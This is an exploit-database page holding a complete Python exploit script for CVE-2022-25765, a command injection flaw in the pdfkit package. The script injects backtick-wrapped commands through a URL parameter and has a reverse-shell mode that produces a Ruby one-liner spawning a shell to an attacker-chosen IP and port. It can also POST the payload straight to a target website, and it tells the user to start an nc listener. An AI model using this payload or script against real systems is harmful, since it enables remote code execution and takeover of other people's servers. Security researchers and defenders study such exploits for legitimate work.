pdfkit v0.8.7.2 Command Injection

2023.04.07
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78

#!/usr/bin/env python3 # Exploit Title: pdfkit v0.8.7.2 - Command Injection # Date: 02/23/2023 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://pdfkit.org/ # Software Link: https://github.com/pdfkit/pdfkit # Version: 0.0.0-0.8.7.2 # Tested on: pdfkit 0.8.6 # CVE: CVE-2022–25765 # Source: https://github.com/UNICORDev/exploit-CVE-2022-25765 # Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. # Imports import time import sys import requests from urllib.parse import quote class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} {color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection Usage: python3 exploit-CVE-2022–25765.py -c <command> python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -h Options: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu. """) exit() def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') # Run the exploit def exploit(payload, exploitMode, postArg): UNICORD_ASCII() print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}") loading(15) print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}") print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}") if "web" in exploitMode: if exploitMode == "webcommand": print( f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") else: print( f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print( f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}") print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}") print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}") if "http" not in website: print( f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}") exit() postArg = postArg + "=" + quote(payload, safe="") try: response = requests.post(website, postArg) except: print( f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}") exit() loading(15) print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}") loading(15) print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}") elif exploitMode == "command": print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") elif exploitMode == "shell": print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") exit() if __name__ == "__main__": args = ['-h', '-c', '-s', '-w', '-p'] modes = {'command': 'Custom Command Mode', 'shell': 'Reverse Shell Mode', 'webcommand': 'Custom Command Send to Target Website Mode', 'webshell': 'Reverse Shell Sent to Target Website Mode'} postArg = "url" if args[0] in sys.argv: help() elif args[1] in sys.argv and not args[2] in sys.argv: try: if sys.argv[sys.argv.index(args[1]) + 1] in args: raise command = sys.argv[sys.argv.index(args[1]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}") exit() payload = f"http://%20`{command}`" mode = "command" elif args[2] in sys.argv and not args[1] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[2]) + 1]: raise listenIP = sys.argv[sys.argv.index(args[2]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[2]) + 2]: raise listenPort = sys.argv[sys.argv.index(args[2]) + 2] except: print( f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`" mode = "shell" else: help() if args[3] in sys.argv and args[4] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2: raise website = sys.argv[sys.argv.index(args[3]) + 1] mode = "web" + mode except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2: raise postArg = sys.argv[sys.argv.index(args[4]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() elif args[3] in sys.argv or args[4] in sys.argv: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() exploit(payload, mode, postArg)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top